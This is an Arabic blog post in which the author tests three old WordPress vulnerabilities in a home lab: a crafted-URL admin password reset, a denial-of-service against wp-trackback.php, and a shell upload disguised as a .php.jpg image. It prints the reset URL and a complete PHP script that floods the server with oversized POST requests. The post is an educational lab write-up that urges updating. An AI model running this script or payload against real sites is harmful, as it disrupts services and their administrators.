اختبار لآخر الثغرات المكتشفة في سكريبت ووردبريس الاصدار ما قبل 2.8.6. المقال يوضّح اختبار لثلاث ثغرات أصابت الاصدارات 2.8.3 , 2.8.4 و 2.8.5. من ووردبريس. يتمكّن المهاجم في الثغرة الأولى من تغيير كلمة مرور مدير المدوّنة أما الثانية فقد تؤدي لتوقّف السيرفر عن العمل والثالثة تمكّن المهاجم الذي يملك صلاحيات الكتابة في المدوّنة من رفع ملف php ضار الى السيرفر.

WordPress

 

طبعاً استعداداً للإختبار، قمت بعمل جهازين افتراضيين:

1. BackTrack4 وهو الجهاز المهاجم.
2. Windows XP Professional SP2 وهو الجهاز السيرفر. حملت عليه Apache والبرامج الاخرى اللازمة لتشغيل المدونة. اصدار المدونة المستخدم في الاختبار هو WordPress 2.8.2، اخترت هذا الاصدار حتى يتم الاختبار للثغرات الجديدة دون الحاجة لتحميل اكثر من اصدار لكل مدونة.

 

الهجوم الاول WordPress 2.8.3 <= Remote admin reset password:

باختصار هناك خطأ في تعامل WordPress مع عملية “هل نسيت كلمة المرور؟”. فعن طريق هذه الثغرة يمكنك عمل استعادة لكلمة المرور لأول مستخدم للـWordpress وفي العاده يكون اسمه admin. طبعا لن تستطيع معرفة الباسورد, لكن سوف تسبب ازعاج للمستخدم admin فالكلمة السرية تتغير بمجرد استغلالك للثغرة ، بالعامي “راح تسوي قلق للادمن”

لاستغلال الثغرة قمت بالتالي:

1. الدخول على المدونة في جهاز الويندوز:

http://192.168.1.3/wordpress

2. بعد ذلك تقوم بكتابة السطر التالي في العنوان فيصبح:

http://192.168.1.3/wordpress/wp-login.php?action=rp&key[]=

WordPress Vulnerabilities 1

3. لاحظ في الصورة السابقة، قام الـwordpress بارسال الباسورد الجديد للبريد المسجل للمستخدم الاول. الصورتين التاليتين توضحان الباسورد في قاعدة البيانات قبل وبعد التغير عن طريق استغلال الثغرة.

WordPress Vulnerabilities 2

WordPress Vulnerabilities 3

نصيحة: لاتحاول فك الباسوردات الموجودة في الصورة، فهي وهمية وليست باسورداتي الخاصة 🙂

النتيجة: الاستغلال للثغرة كان موفق…

 

الهجوم الثاني WordPress 2.8.4 <= Denial of Service:

هذه الثغرة عبارة عن حجب للخدمة “DoS”، الخطأ بسبب تعامل الـWordpress مع بعض المتغيرات الخاصة بالترميز encoding. فعند ارسال المعلومات عن طريق POST لا يقوم بالفحص الكامل لمحتوى المتغير. وبهذا السبب نقوم بارسال طلبات للسيرفر بحجم كبير في المتغير وباعداد كبيرة. في هذه الحالة سوف يكون السيرفر في Infinite Loop في محاولة لتلبية طلباتك. بعد فترة بسيييطة جداً سيصل استخدام الـ CPU عملية في السيرفر الى ١٠٠٪ واذا استمر الهجوم لن يتمكن السيرفر من تلبية اي طلبات اخرى. ممايعني السيرفر !!DOWN.

كود الثغرة بعد التعديل عليه :

<?php
$url = $argv[1];
$data = parse_url($url);
if(count($data) < 2
{
echo “the url should have http://. n”;
exit;
}
if(count($data) == 2)
{
$path = ”;
}
else {
$path = $data[‘path’];
}
$path = trim($path,’/’);
$path .= ‘/wp-trackback.php’;
if($path{0} != ‘/’){
$path = ‘/’.$path;
}
$b = “”;
$b = str_pad($b,140000, ‘ABCDEFG’);
$b = utf8_encode($b);
$charset = “”;
$charset = str_pad($charset, 140000,”UTF-8″);
$str = ‘charset=’.urlencode($charset);
$str .= ‘&url=example.com’;
$str .= ‘&title=’.$b;
$str .=’&blog_name=lol’;
$str .=’&excerpt=lol’;
$count = 0;
while(1){
$fp = @fsockopen($data[‘host’],80);
if(!$fp){
if($count > 0){
echo “down!!!n”;
exit;
}
echo “unable to connect to: “.$data[‘host’].”n”;
exit;
}
fputs($fp,”POST $path HTTP/1.1rn”);
fputs($fp, “HOST: “.$data[‘host’].”rn”);
fputs($fp, “Content-type: application/x-www-form-urlencodeedrn”);
fputs($fp, “Content-length: “.strlen($str).”rn”);
fputs($fp, $str.”rnrn”);
echo “HIT!n”;
$count++;
}
?>

لاستغلال الثغرة قمت بالتالي:

1. عن طريق BackTrack، في سطر الاوامر كتبت الامر التالي:

php wordpress.php http://192.168.1.3/wordpress

2. الصورة التالية توضح حالة السيرفر (Windows XP) قبل الهجوم:

WordPress Vulnerabilities 4

3. هذه صورة توضح الهجوم على السيرفر، لاحظ عدد الـtabs وهي 5, يعني الهجوم كان بتشغيلي للكود خمس مرات في وقت واحد.

WordPress Vulnerabilities 5

4. وهذه الصورة بعد الهجوم بثواني فقط.

WordPress Vulnerabilities 6

السيرفر مو شرط يتعطل في ثواني او دقائق لكن السيرفر سوف يكون بطيئ جداً جداً في تلبية الطلبات القادمة اليه. بعد دقائق وقفت الكود وقل استخدام الـCPU الى 27%.

النتيجة: الاستغلال كان ناجح…

 

الهجوم الثالث WordPress 2.8.5 <= Unrestricted File Upload Arbitrary PHP Code Execution:

الثغرة هذه بسبب خطأ في تعامل الـWordpress مع الملفات المرفوعة من قبل اي مستخدم له صلاحية الكتابة في المدونة وأيضا لو لا خاصية السماح لأكثر من امتداد للملف في الاباتشي لما نجحت هذه الثغرة. الثغرة باختصار هيا ان يقوم الكاتب برفع Shell على السيرفر ويكون الملف على شكل صورة، بمعني اذا افترضنا ان اسم الـshell هو c99.php فسوف نقوم بإعادة تسمية اسم الملف الى c99.php.jpg. وبسبب الخطأ في الـwordpress والسماح من قبل Apache بالتعامل مع الملفات ذات الامتدادات المتعدة سوف يعمل الكود الضار c99.php.

قمت بتجربة الثغرة في جهازي ولم تنجح اتوقع انه بسبب بعض الاعدادات في Apache الموجود عندي. هذه صورة توضح عدم عمل الثغرة.

WordPress Vulnerabilities 7

المفترض ان يتم طباعة Worked!! في الصفحة وليس فتح محتوى الملف.

اخيراً، يجب على الجميع التحديث لأخر الإصدارات من WordPress او اي برنامج اخر حتى تحمي موقعك بقدر الإمكان.

ارحب بالآراء والإستفسارات…

عن الكاتب:


مهند شحات, خريج جامعة الملك فهد للبترول والمعادن وحاصل على بكلوريس في هندسة البرمجيات, يعمل حاليّاً في أرامكو السعودية وأحد أعضاء PSD Group. يمكنك قراءة هذا الموضوع في مدوّنته بالاضافة للعديد من المواضيع المفيدة الأخرى.

Share on FacebookShare on Google+Tweet about this on TwitterShare on LinkedIn